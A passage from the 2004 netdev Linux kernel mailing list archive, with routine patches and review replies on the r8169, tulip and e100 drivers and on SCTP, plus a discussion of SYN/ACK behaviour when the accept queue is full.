patch fixes this by getting rid of listening_get_first() > altogether. Looks good, applied. Thanks Herbert. From romieu@fr.zoreil.com Sun May 2 13:52:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 02 May 2004 13:53:07 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i42KqsKO014167 for ; Sun, 2 May 2004 13:52:56 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i42KpKuX024927; Sun, 2 May 2004 22:51:20 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i42KpHq3024926; Sun, 2 May 2004 22:51:17 +0200 Date: Sun, 2 May 2004 22:51:17 +0200 From: Francois Romieu To: Andy Lutomirski Cc: jgarzik@pobox.com, Jon D Mason , netdev@oss.sgi.com Subject: Re: [patch 0/7] 2.6.6-rc3-mm1 - description of the r8169 queue Message-ID: <20040502225117.A24214@electric-eye.fr.zoreil.com> References: <20040501022308.A32762@electric-eye.fr.zoreil.com> <40954DE9.3020209@myrealbox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <40954DE9.3020209@myrealbox.com>; from luto@myrealbox.com on Sun, May 02, 2004 at 12:37:13PM -0700 X-Organisation: Land of Sunshine Inc. X-archive-position: 5001 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Andy Lutomirski : [...] > 3. NAPI is missing from Kconfig It appears in patch 1/7 but it has not been included in the global patch which is available online (fixed by now). This part of your patch should be ignored. The remaining parts are fine. > These patches also chance the initial chipset reset timer from 2 jiffies > to 100ms (for HZ-independence, and 2ms sounds overly short.) Compared to the initial busy-looping, the 2ms timer did not look _that_ inefficient :o) As the reset is expected to take place in 0.5s at worst, your change makes more sense. -- Ueimor From davem@redhat.com Sun May 2 22:18:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 02 May 2004 22:18:58 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i435ImKO032496 for ; Sun, 2 May 2004 22:18:49 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i435IikG014988; Mon, 3 May 2004 01:18:44 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i435Iiv01808; Mon, 3 May 2004 01:18:44 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i435IcKv025919; Mon, 3 May 2004 01:18:38 -0400 Date: Sun, 2 May 2004 22:17:05 -0700 From: "David S. Miller" To: Nivedita Singhvi Cc: akpm@osdl.org, netdev@oss.sgi.com, jan@ixiacom.com Subject: Re: [PATCH 2.6.5] Re: Fw: Stack sends SYN/ACKs even though accept queue is full Message-Id: <20040502221705.4e7adef2.davem@redhat.com> In-Reply-To: <4092EAD7.5080207@us.ibm.com> References: <4092EAD7.5080207@us.ibm.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5002 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 30 Apr 2004 17:09:59 -0700 Nivedita Singhvi wrote: > Normally, I think the expected behaviour was that connections > would be short-lived. This is a reasonable expectation for most > web-servers etc. I don't know how relevant the "lifespan" of a connection is in this case. Servers tend to sip from the accept queue in a seperate thread or approximate such behavior. Therefore we have two time-frames, the incoming connection acceptq one and the one that actually deals with the established state data transation. You're talking about the latter, and the behavior in question is about the former. I really haven't seen a convincing argument yet to change the behavior here, I think it's sane but I'm ready to be convinced otherwise :-) From shemminger@osdl.org Mon May 3 11:05:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 03 May 2004 11:05:33 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i43I5SKO002178 for ; Mon, 3 May 2004 11:05:29 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i43I5H206932; Mon, 3 May 2004 11:05:18 -0700 Date: Mon, 3 May 2004 11:05:17 -0700 From: Stephen Hemminger To: Francois Romieu Cc: netdev@oss.sgi.com Subject: [PATCH] r8169 warning from 64 bit constant Message-Id: <20040503110517.3a144b46@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5003 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Need 'ull' on end of a 64 bit constant to get rid of warning. diff -Nru a/drivers/net/r8169.c b/drivers/net/r8169.c --- a/drivers/net/r8169.c Mon May 3 11:02:57 2004 +++ b/drivers/net/r8169.c Mon May 3 11:02:57 2004 @@ -1156,7 +1156,7 @@ static inline void rtl8169_make_unusable_by_asic(struct RxDesc *desc) { - desc->addr = 0x0badbadbadbadbad; + desc->addr = 0x0badbadbadbadbadull; desc->status &= ~cpu_to_le32(OWNbit | RsvdMask); } From romieu@fr.zoreil.com Mon May 3 13:21:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 03 May 2004 13:21:04 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i43KKvKO007902 for ; Mon, 3 May 2004 13:21:00 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i43KJduX004668; Mon, 3 May 2004 22:19:39 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i43KJdLm004667; Mon, 3 May 2004 22:19:39 +0200 Date: Mon, 3 May 2004 22:19:39 +0200 From: Francois Romieu To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] r8169 warning from 64 bit constant Message-ID: <20040503221939.A4612@electric-eye.fr.zoreil.com> References: <20040503110517.3a144b46@dell_ss3.pdx.osdl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040503110517.3a144b46@dell_ss3.pdx.osdl.net>; from shemminger@osdl.org on Mon, May 03, 2004 at 11:05:17AM -0700 X-Organisation: Land of Sunshine Inc. X-archive-position: 5004 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Stephen Hemminger : > Need 'ull' on end of a 64 bit constant to get rid of warning. It is included in the patch 2/7 of the serie which has been sent the first of may 2005 (actually it was already in Andy Lutomirski's first patch). -- Ueimor From sri@us.ibm.com Mon May 3 14:20:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 03 May 2004 14:20:47 -0700 (PDT) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i43LKWKO009063 for ; Mon, 3 May 2004 14:20:39 -0700 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e6.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i43LKKfQ440588; Mon, 3 May 2004 17:20:20 -0400 Received: from w-sridhar.beaverton.ibm.com ([9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i43LKnBL101328; Mon, 3 May 2004 17:20:50 -0400 Date: Mon, 3 May 2004 14:20:18 -0700 (PDT) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: davem@redhat.com cc: netdev@oss.sgi.com, lksctp-developers@lists.sourceforge.net Subject: [BK PATCH] minor SCTP updates Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5005 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Dave, Please do a bk pull http://linux-lksctp.bkbits.net/lksctp-2.5.work & bk pull http://linux-lksctp.bkbits.net/lksctp-2.4.work to get the following udpates to 2.6 and 2.4 SCTP. Thanks Sridhar # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/05/03 11:17:48-07:00 sri@us.ibm.com # [SCTP] Rename SCTP_ADDR_REACHABLE as SCTP_ADDR_AVAILABLE to be # consistent with the SCTP sockets API draft. # # net/sctp/associola.c # include/net/sctp/user.h # include/net/sctp/constants.h # # ChangeSet # 2004/05/03 11:14:28-07:00 sri@us.ibm.com # [SCTP] Fix bugs in handling overlapping INIT and peer restart over a # multihomed association. # # net/sctp/associola.c # # ChangeSet # 2004/05/03 11:11:07-07:00 shemminger@osdl.org # [PATCH] SCTP crc table can be static const # # net/sctp/crc32c.c # diff -Nru a/include/net/sctp/constants.h b/include/net/sctp/constants.h --- a/include/net/sctp/constants.h Mon May 3 14:12:01 2004 +++ b/include/net/sctp/constants.h Mon May 3 14:12:01 2004 @@ -231,11 +231,6 @@ /* This is a table of printable names of sctp_state_t's. */ extern const char *sctp_state_tbl[], *sctp_evttype_tbl[], *sctp_status_tbl[]; -/* SCTP reachability state for each address */ -#define SCTP_ADDR_NOHB 4 -#define SCTP_ADDR_REACHABLE 2 -#define SCTP_ADDR_NOT_REACHABLE 1 - /* Maximum chunk length considering padding requirements. */ enum { SCTP_MAX_CHUNK_LEN = ((1<<16) - sizeof(__u32)) }; diff -Nru a/include/net/sctp/user.h b/include/net/sctp/user.h --- a/include/net/sctp/user.h Mon May 3 14:12:01 2004 +++ b/include/net/sctp/user.h Mon May 3 14:12:01 2004 @@ -1,7 +1,7 @@ /* SCTP kernel reference Implementation + * (C) Copyright IBM Corp. 2001, 2004 * Copyright (c) 1999-2000 Cisco, Inc. * Copyright (c) 1999-2001 Motorola, Inc. - * Copyright (c) 2001-2003 International Business Machines, Corp. * Copyright (c) 2002 Intel Corp. * * This file is part of the SCTP kernel reference Implementation @@ -246,7 +246,7 @@ * event that happened to the address. They include: */ enum sctp_spc_state { - SCTP_ADDR_REACHABLE, + SCTP_ADDR_AVAILABLE, SCTP_ADDR_UNREACHABLE, SCTP_ADDR_REMOVED, SCTP_ADDR_ADDED, diff -Nru a/net/sctp/associola.c b/net/sctp/associola.c --- a/net/sctp/associola.c Mon May 3 14:12:01 2004 +++ b/net/sctp/associola.c Mon May 3 14:12:01 2004 @@ -608,7 +608,7 @@ switch (command) { case SCTP_TRANSPORT_UP: transport->active = SCTP_ACTIVE; - spc_state = SCTP_ADDR_REACHABLE; + spc_state = SCTP_ADDR_AVAILABLE; break; case SCTP_TRANSPORT_DOWN: @@ -936,6 +936,9 @@ void sctp_assoc_update(struct sctp_association *asoc, struct sctp_association *new) { + struct sctp_transport *trans; + struct list_head *pos, *temp; + /* Copy in new parameters of peer. */ asoc->c = new->c; asoc->peer.rwnd = new->peer.rwnd; @@ -944,20 +947,19 @@ sctp_tsnmap_init(&asoc->peer.tsn_map, SCTP_TSN_MAP_SIZE, asoc->peer.i.initial_tsn); - /* FIXME: - * Do we need to copy primary_path etc? - * - * More explicitly, addresses may have been removed and - * this needs accounting for. - */ + /* Remove any peer addresses not present in the new association. */ + list_for_each_safe(pos, temp, &asoc->peer.transport_addr_list) { + trans = list_entry(pos, struct sctp_transport, transports); + if (!sctp_assoc_lookup_paddr(new, &trans->ipaddr)) + sctp_assoc_del_peer(asoc, &trans->ipaddr); + } /* If the case is A (association restart), use * initial_tsn as next_tsn. If the case is B, use * current next_tsn in case data sent to peer * has been discarded and needs retransmission. */ - if (sctp_state(asoc, ESTABLISHED)) { - + if (asoc->state >= SCTP_STATE_ESTABLISHED) { asoc->next_tsn = new->next_tsn; asoc->ctsn_ack_point = new->ctsn_ack_point; asoc->adv_peer_ack_point = new->adv_peer_ack_point; @@ -968,6 +970,15 @@ sctp_ssnmap_clear(asoc->ssnmap); } else { + /* Add any peer addresses from the new association. */ + list_for_each(pos, &new->peer.transport_addr_list) { + trans = list_entry(pos, struct sctp_transport, + transports); + if (!sctp_assoc_lookup_paddr(asoc, &trans->ipaddr)) + sctp_assoc_add_peer(asoc, &trans->ipaddr, + GFP_ATOMIC); + } + asoc->ctsn_ack_point = asoc->next_tsn - 1; asoc->adv_peer_ack_point = asoc->ctsn_ack_point; if (!asoc->ssnmap) { @@ -976,7 +987,6 @@ new->ssnmap = NULL; } } - } /* Update the retran path for sending a retransmitted packet. diff -Nru a/net/sctp/crc32c.c b/net/sctp/crc32c.c --- a/net/sctp/crc32c.c Mon May 3 14:12:01 2004 +++ b/net/sctp/crc32c.c Mon May 3 14:12:01 2004 @@ -69,7 +69,7 @@ /* with 24 and 32 Parity Bits", */ /* IEEE Transactions on Communications, Vol.41, No.6, June 1993 */ /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ -__u32 crc_c[256] = { +static const __u32 crc_c[256] = { 0x00000000, 0xF26B8303, 0xE13B70F7, 0x1350F3F4, 0xC79A971F, 0x35F1141C, 0x26A1E7E8, 0xD4CA64EB, 0x8AD958CF, 0x78B2DBCC, 0x6BE22838, 0x9989AB3B, From c-d.hailfinger.kernel.2004@gmx.net Mon May 3 14:38:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 03 May 2004 14:38:42 -0700 (PDT) Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i43LcbKO009518 for ; Mon, 3 May 2004 14:38:38 -0700 Received: (qmail 26854 invoked by uid 65534); 3 May 2004 21:38:31 -0000 Received: from stud222006.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.222.6) by mail.gmx.net (mp022) with SMTP; 03 May 2004 23:38:31 +0200 X-Authenticated: #21910825 Message-ID: <4096BBC8.60509@gmx.net> Date: Mon, 03 May 2004 23:38:16 +0200 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040114 X-Accept-Language: de, en MIME-Version: 1.0 To: Linux Kernel Mailing List CC: Netdev , Jeff Garzik Subject: [PATCH] tulip driver deadlocks on device removal Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5006 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev Hi, I have a CardBus network card with tulip chipset: # lspci -nv [...] 0000:05:00.0 Class 0200: 13d1:ab02 (rev 11) Subsystem: 13d1:ab02 Flags: bus master, medium devsel, latency 64, IRQ 11 I/O ports at 4800 [size=268M] Memory at 11000000 (32-bit, non-prefetchable) [size=1K] Expansion ROM at 00020000 [disabled] Capabilities: [c0] Power Management version 2 If I remove the card, my machine freezes instantly. This is due to a stupid dev->poll function of the tulip driver. drivers/net/tulip/interrupt.c:tulip_poll() gets stuck in an endless loop in interrupt context if the hardware returns 0xffffffff on certain reads. But this is exactly what happens if you remove a pci device. My patch replaces the deadlock with something resembling a livelock. At least SysRq-S works now because we leave the poll function after some time. However, the poll function is called again and again and again regardless of its return value. How can I stop that? Carl-Daniel --- a/drivers/net/tulip/interrupt.c 2004-05-03 20:31:14.000000000 +0200 +++ b/drivers/net/tulip/interrupt.c 2004-05-03 20:51:06.000000000 +0200 @@ -113,6 +113,7 @@ int entry = tp->cur_rx % RX_RING_SIZE; int rx_work_limit = *budget; int received = 0; + int innercnt = 0; if (!netif_running(dev)) goto done; @@ -129,10 +130,12 @@ #endif if (tulip_debug > 4) - printk(KERN_DEBUG " In tulip_rx(), entry %d %8.8x.\n", entry, + printk(KERN_DEBUG " In tulip_poll(), entry %d %8.8x.\n", entry, tp->rx_ring[entry].status); do { + innercnt++; + /* Acknowledge current RX interrupt sources. */ outl((RxIntr | RxNoBuf), dev->base_addr + CSR5); @@ -141,12 +144,13 @@ while ( ! (tp->rx_ring[entry].status & cpu_to_le32(DescOwned))) { s32 status = le32_to_cpu(tp->rx_ring[entry].status); + innercnt = 0; if (tp->dirty_rx + RX_RING_SIZE == tp->cur_rx) break; if (tulip_debug > 5) - printk(KERN_DEBUG "%s: In tulip_rx(), entry %d %8.8x.\n", + printk(KERN_DEBUG "%s: In tulip_poll(), entry %d %8.8x.\n", dev->name, entry, status); if (--rx_work_limit < 0) goto not_done; @@ -254,6 +258,11 @@ * No idea how to fix this if "playing with fire" will fail * tomorrow (night 011029). If it will not fail, we won * finally: amount of IO did not increase at all. */ + if (innercnt > 5) { + printk(KERN_INFO "More than five loops without doing anything!\n"); + goto not_done; + } + } while ((inl(dev->base_addr + CSR5) & RxIntr)); done: @@ -321,8 +330,10 @@ return 0; not_done: - if (!received) { + if (!received && (innercnt <= 5)) { + printk(KERN_NOTICE "tulip_poll: Bugger. This does not happen.\n"); + /* If it is not going to happen, why do anything about it? */ received = dev->quota; /* Not to happen */ } dev->quota -= received; From scott.feldman@intel.com Mon May 3 15:02:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 03 May 2004 15:02:22 -0700 (PDT) Received: from fmsfmr004.fm.intel.com (fmr11.intel.com [192.55.52.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i43M2HKO010245 for ; Mon, 3 May 2004 15:02:18 -0700 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by fmsfmr004.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.15 2004/01/30 18:16:28 root Exp $) with ESMTP id i43M2S53025982; Mon, 3 May 2004 22:02:28 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxvs040.fm.intel.com [132.233.42.124]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.10 2004/03/01 19:21:36 root Exp $) with SMTP id i43M2I7m032505; Mon, 3 May 2004 22:02:27 GMT Received: from sfeldma-ich5.jf.intel.com ([134.134.3.54]) by fmsmsxvs040.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004050315020831873 ; Mon, 03 May 2004 15:02:08 -0700 Date: Mon, 3 May 2004 14:58:35 -0700 (PDT) From: Scott Feldman To: jgarzik@pobox.com cc: netdev@oss.sgi.com, scott.feldman@intel.com Subject: [e100 2.6 1/2] Message-ID: ReplyTo: "Scott Feldman" MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 5007 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev * Change mapping on Rx SKB to bi-directional. skb->data holds both the RFD structure and the packet data, and the RFD is read/written by HW. Issue found on XScale HW that doesn't handle cache syncs auto- matically. Other changes in patch are whitespace/spelling. ----------------- --- linux-2.5/drivers/net/e100.c 2004-05-03 14:43:27.198629944 -0700 +++ linux-2.5/drivers/net/e100.c.mod 2004-05-03 14:46:27.174269488 -0700 @@ -1392,12 +1392,12 @@ static inline int e100_rx_alloc_skb(stru if(!(rx->skb = dev_alloc_skb(RFD_BUF_LEN + rx_offset))) return -ENOMEM; - /* Align, init, and map the RFA. */ + /* Align, init, and map the RFD. */ rx->skb->dev = nic->netdev; skb_reserve(rx->skb, rx_offset); memcpy(rx->skb->data, &nic->blank_rfd, sizeof(struct rfd)); rx->dma_addr = pci_map_single(nic->pdev, rx->skb->data, - RFD_BUF_LEN, PCI_DMA_FROMDEVICE); + RFD_BUF_LEN, PCI_DMA_BIDIRECTIONAL); /* Link the RFD to end of RFA by linking previous RFD to * this one, and clearing EL bit of previous. */ @@ -1408,7 +1408,7 @@ static inline int e100_rx_alloc_skb(stru wmb(); prev_rfd->command &= ~cpu_to_le16(cb_el); pci_dma_sync_single_for_device(nic->pdev, rx->prev->dma_addr, - sizeof(struct rfd), PCI_DMA_TODEVICE); + sizeof(struct rfd), PCI_DMA_TODEVICE); } return 0; @@ -1426,7 +1426,7 @@ static inline int e100_rx_indicate(struc /* Need to sync before taking a peek at cb_complete bit */ pci_dma_sync_single_for_cpu(nic->pdev, rx->dma_addr, - sizeof(struct rfd), PCI_DMA_FROMDEVICE); + sizeof(struct rfd), PCI_DMA_FROMDEVICE); rfd_status = le16_to_cpu(rfd->status); DPRINTK(RX_STATUS, DEBUG, "status=0x%04X\n", rfd_status); @@ -1442,7 +1442,7 @@ static inline int e100_rx_indicate(struc /* Get data */ pci_unmap_single(nic->pdev, rx->dma_addr, - RFD_BUF_LEN, PCI_DMA_FROMDEVICE); + RFD_BUF_LEN, PCI_DMA_FROMDEVICE); /* Pull off the RFD and put the actual data (minus eth hdr) */ skb_reserve(skb, sizeof(struct rfd)); From romieu@fr.zoreil.com Mon May 3 16:21:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 03 May 2004 16:21:09 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i43NKvKO017354 for ; Mon, 3 May 2004 16:21:02 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i43NIZuX007090; Tue, 4 May 2004 01:18:35 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i43NIZZe007089; Tue, 4 May 2004 01:18:35 +0200 Date: Tue, 4 May 2004 01:18:35 +0200 From: Francois Romieu To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [patch] 2.4.27-pre1 - r8169 backport Message-ID: <20040504011835.B4612@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Organisation: Land of Sunshine Inc. X-archive-position: 5008 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev A backport of the 2.6.6-rc3 r8169 driver against 2.4.27-pre1 is available. All in one patch against 2.4.27-pre1: http://www.fr.zoreil.com/people/francois/misc/20040504-2.4.27-pre1-r8169.c-test.patch Individual files: http://www.fr.zoreil.com/linux/kernel/2.4.x/2.4.27-pre1 Tarball: http://www.fr.zoreil.com/linux/kernel/2.4.x/2.4.27-pre1/r8169-blob.tar.bz2 From romieu@fr.zoreil.com Mon May 3 16:24:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 03 May 2004 16:24:57 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i43NOqKO018039 for ; Mon, 3 May 2004 16:24:53 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i43NO1uX007206; Tue, 4 May 2004 01:24:01 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i43NO0xE007205; Tue, 4 May 2004 01:24:00 +0200 Date: Tue, 4 May 2004 01:24:00 +0200 From: Francois Romieu To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [patch] 2.6.6-rc3 - r8169 rediff Message-ID: <20040504012400.C4612@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Organisation: Land of Sunshine Inc. X-archive-position: 5009 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev A set of patches against 2.6.6-rc3 which includes the fixes issued yesterday by Andy Lutomirski is available. All in one patch against 2.6.6-rc3: http://www.fr.zoreil.com/people/francois/misc/20040504-2.6.6-rc3-r8169.c-test.patch Individual files: http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.6-rc3-01 Tarball: http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.6-rc3-01/r8169-blob.tar.bz2 -- Ueimor From davem@redhat.com Mon May 3 19:59:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 03 May 2004 19:59:53 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i442xnKO022459 for ; Mon, 3 May 2004 19:59:50 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i442xlkG015817; Mon, 3 May 2004 22:59:47 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i442xlv18343; Mon, 3 May 2004 22:59:47 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i442xfKv002958; Mon, 3 May 2004 22:59:41 -0400 Date: Mon, 3 May 2004 19:58:02 -0700 From: "David S. Miller" To: Sridhar Samudrala Cc: netdev@oss.sgi.com, lksctp-developers@lists.sourceforge.net Subject: Re: [BK PATCH] minor SCTP updates Message-Id: <20040503195802.1cf5b439.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5010 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Both pulled, thanks Sridhar. From jan@ixiacom.com Mon May 3 20:10:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 03 May 2004 20:10:56 -0700 (PDT) Received: from racerx.ixiacom.com (64-60-75-69.cust.telepacific.net [64.60.75.69]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i443AnKO022981 for ; Mon, 3 May 2004 20:10:50 -0700 Received: by racerx.ixiacom.com with Internet Mail Service (5.5.2657.72) id ; Mon, 3 May 2004 20:10:46 -0700 Message-ID: <15FDCE057B48784C80836803AE3598D50627AC99@racerx.ixiacom.com> From: Jan Olderdissen To: "'Nivedita Singhvi'" Cc: netdev@oss.sgi.com, David Miller , Andrew Morton , Thomas Ameling Subject: RE: [PATCH 2.6.5] Re: Fw: Stack sends SYN/ACKs even though accept queue is full Date: Mon, 3 May 2004 20:10:45 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain; charset="iso-8859-1" X-archive-position: 5011 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jan@ixiacom.com Precedence: bulk X-list: netdev Nivedita, > Attaching a patch which adds a sysctl to turn off this > behaviour. Could you test this, please? Patch against > 2.6.5 vanilla kernel. If you need a 2.4 version, let me > know. Thomas tested your patch against 2.6.5 with success. The patch didn't apply cleanly against the sources he was using, but after some twiddling it did the job. Internally, we'll use the 2.4.21 patch, of course. Thanks! Jan From luto@myrealbox.com Mon May 3 22:32:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 03 May 2004 22:32:40 -0700 (PDT) Received: from smtp-roam.Stanford.EDU (smtp-roam.Stanford.EDU [171.64.10.152]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i445WSKO001558 for ; Mon, 3 May 2004 22:32:29 -0700 Received: from [10.0.0.2] (luto.Stanford.EDU [128.12.71.50]) (authenticated 